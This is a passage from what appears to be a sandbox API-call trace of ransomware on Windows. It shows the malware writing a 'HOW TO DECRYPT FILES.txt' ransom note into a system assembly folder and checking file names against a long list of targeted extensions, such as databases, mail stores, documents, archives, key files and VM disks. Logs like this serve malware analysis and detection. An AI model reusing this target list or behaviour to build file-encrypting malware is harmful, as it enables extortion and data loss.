ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll") returned -1 [0099.428] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll") returned -1 [0099.429] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll") returned -1 [0099.429] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0099.429] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" [0099.429] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="" [0099.429] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0099.429] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0099.429] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.435] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.437] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.437] CloseHandle (hObject=0x90) returned 1 [0099.437] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll" [0099.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.ems") returned 0 [0099.437] lstrlenA (lpString="*.ems") returned 5 [0099.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.db") returned 0 [0099.438] lstrlenA (lpString="*.db") returned 4 [0099.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.dbf") returned 0 [0099.438] lstrlenA (lpString="*.dbf") returned 5 [0099.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.myox") returned 0 [0099.438] lstrlenA (lpString="*.myox") returned 6 [0099.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.myo") returned 0 [0099.438] lstrlenA (lpString="*.myo") returned 5 [0099.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.qbw") returned 0 [0099.438] lstrlenA (lpString="*.qbw") returned 5 [0099.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.qbb") returned 0 [0099.438] lstrlenA (lpString="*.qbb") returned 5 [0099.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.qbm") returned 0 [0099.438] lstrlenA (lpString="*.qbm") returned 5 [0099.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.qbo") returned 0 [0099.438] lstrlenA (lpString="*.qbo") returned 5 [0099.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.qbx") returned 0 [0099.438] lstrlenA (lpString="*.qbx") returned 5 [0099.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.qba") returned 0 [0099.438] lstrlenA (lpString="*.qba") returned 5 [0099.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.qby") returned 0 [0099.439] lstrlenA (lpString="*.qby") returned 5 [0099.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.qbj") returned 0 [0099.439] lstrlenA (lpString="*.qbj") returned 5 [0099.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.ofx") returned 0 [0099.439] lstrlenA (lpString="*.ofx") returned 5 [0099.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.qif") returned 0 [0099.439] lstrlenA (lpString="*.qif") returned 5 [0099.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.mye") returned 0 [0099.439] lstrlenA (lpString="*.mye") returned 5 [0099.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.mbox") returned 0 [0099.439] lstrlenA (lpString="*.mbox") returned 6 [0099.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.eml") returned 0 [0099.439] lstrlenA (lpString="*.eml") returned 5 [0099.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.pst") returned 0 [0099.439] lstrlenA (lpString="*.pst") returned 5 [0099.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.ost") returned 0 [0099.439] lstrlenA (lpString="*.ost") returned 5 [0099.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.idx") returned 0 [0099.439] lstrlenA (lpString="*.idx") returned 5 [0099.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.dbx") returned 0 [0099.440] lstrlenA (lpString="*.dbx") returned 5 [0099.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.sql") returned 0 [0099.440] lstrlenA (lpString="*.sql") returned 5 [0099.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.mdb") returned 0 [0099.440] lstrlenA (lpString="*.mdb") returned 5 [0099.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.fdb") returned 0 [0099.440] lstrlenA (lpString="*.fdb") returned 5 [0099.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.wab") returned 0 [0099.440] lstrlenA (lpString="*.wab") returned 5 [0099.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.dat") returned 0 [0099.440] lstrlenA (lpString="*.dat") returned 5 [0099.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.txt") returned 0 [0099.440] lstrlenA (lpString="*.txt") returned 5 [0099.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.jpeg") returned 0 [0099.440] lstrlenA (lpString="*.jpeg") returned 6 [0099.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.jpg") returned 0 [0099.440] lstrlenA (lpString="*.jpg") returned 5 [0099.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.png") returned 0 [0099.440] lstrlenA (lpString="*.png") returned 5 [0099.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.php") returned 0 [0099.440] lstrlenA (lpString="*.php") returned 5 [0099.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.cs") returned 0 [0099.440] lstrlenA (lpString="*.cs") returned 4 [0099.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.cpp") returned 0 [0099.441] lstrlenA (lpString="*.cpp") returned 5 [0099.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.rar") returned 0 [0099.441] lstrlenA (lpString="*.rar") returned 5 [0099.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.zip") returned 0 [0099.441] lstrlenA (lpString="*.zip") returned 5 [0099.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.html") returned 0 [0099.441] lstrlenA (lpString="*.html") returned 6 [0099.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.htm") returned 0 [0099.441] lstrlenA (lpString="*.htm") returned 5 [0099.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.xlsx") returned 0 [0099.441] lstrlenA (lpString="*.xlsx") returned 6 [0099.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.xls") returned 0 [0099.441] lstrlenA (lpString="*.xls") returned 5 [0099.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.mp4") returned 0 [0099.441] lstrlenA (lpString="*.mp4") returned 5 [0099.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.ppt") returned 0 [0099.441] lstrlenA (lpString="*.ppt") returned 5 [0099.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.pptx") returned 0 [0099.441] lstrlenA (lpString="*.pptx") returned 6 [0099.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.doc") returned 0 [0099.441] lstrlenA (lpString="*.doc") returned 5 [0099.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.dot") returned 0 [0099.442] lstrlenA (lpString="*.dot") returned 5 [0099.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.docx") returned 0 [0099.442] lstrlenA (lpString="*.docx") returned 6 [0099.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.7z") returned 0 [0099.442] lstrlenA (lpString="*.7z") returned 4 [0099.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.tar") returned 0 [0099.442] lstrlenA (lpString="*.tar") returned 5 [0099.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.bz2") returned 0 [0099.442] lstrlenA (lpString="*.bz2") returned 5 [0099.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.gz") returned 0 [0099.442] lstrlenA (lpString="*.gz") returned 4 [0099.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.mkv") returned 0 [0099.442] lstrlenA (lpString="*.mkv") returned 5 [0099.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.eml") returned 0 [0099.442] lstrlenA (lpString="*.eml") returned 5 [0099.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.msg") returned 0 [0099.442] lstrlenA (lpString="*.msg") returned 5 [0099.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.edb") returned 0 [0099.442] lstrlenA (lpString="*.edb") returned 5 [0099.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.accdb") returned 0 [0099.442] lstrlenA (lpString="*.accdb") returned 7 [0099.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.odb") returned 0 [0099.443] lstrlenA (lpString="*.odb") returned 5 [0099.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.java") returned 0 [0099.443] lstrlenA (lpString="*.java") returned 6 [0099.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.asm") returned 0 [0099.443] lstrlenA (lpString="*.asm") returned 5 [0099.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.pfx") returned 0 [0099.443] lstrlenA (lpString="*.pfx") returned 5 [0099.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.pem") returned 0 [0099.443] lstrlenA (lpString="*.pem") returned 5 [0099.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.p12") returned 0 [0099.443] lstrlenA (lpString="*.p12") returned 5 [0099.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.gpg") returned 0 [0099.443] lstrlenA (lpString="*.gpg") returned 5 [0099.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.vsd") returned 0 [0099.443] lstrlenA (lpString="*.vsd") returned 5 [0099.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.odg") returned 0 [0099.443] lstrlenA (lpString="*.odg") returned 5 [0099.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.raw") returned 0 [0099.443] lstrlenA (lpString="*.raw") returned 5 [0099.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.nef") returned 0 [0099.443] lstrlenA (lpString="*.nef") returned 5 [0099.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.svg") returned 0 [0099.444] lstrlenA (lpString="*.svg") returned 5 [0099.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.psd") returned 0 [0099.444] lstrlenA (lpString="*.psd") returned 5 [0099.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.vmx") returned 0 [0099.444] lstrlenA (lpString="*.vmx") returned 5 [0099.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.vmdk") returned 0 [0099.444] lstrlenA (lpString="*.vmdk") returned 6 [0099.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.vdi") returned 0 [0099.444] lstrlenA (lpString="*.vdi") returned 5 [0099.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.lay6") returned 0 [0099.444] lstrlenA (lpString="*.lay6") returned 6 [0099.444] PathMatchSpecA 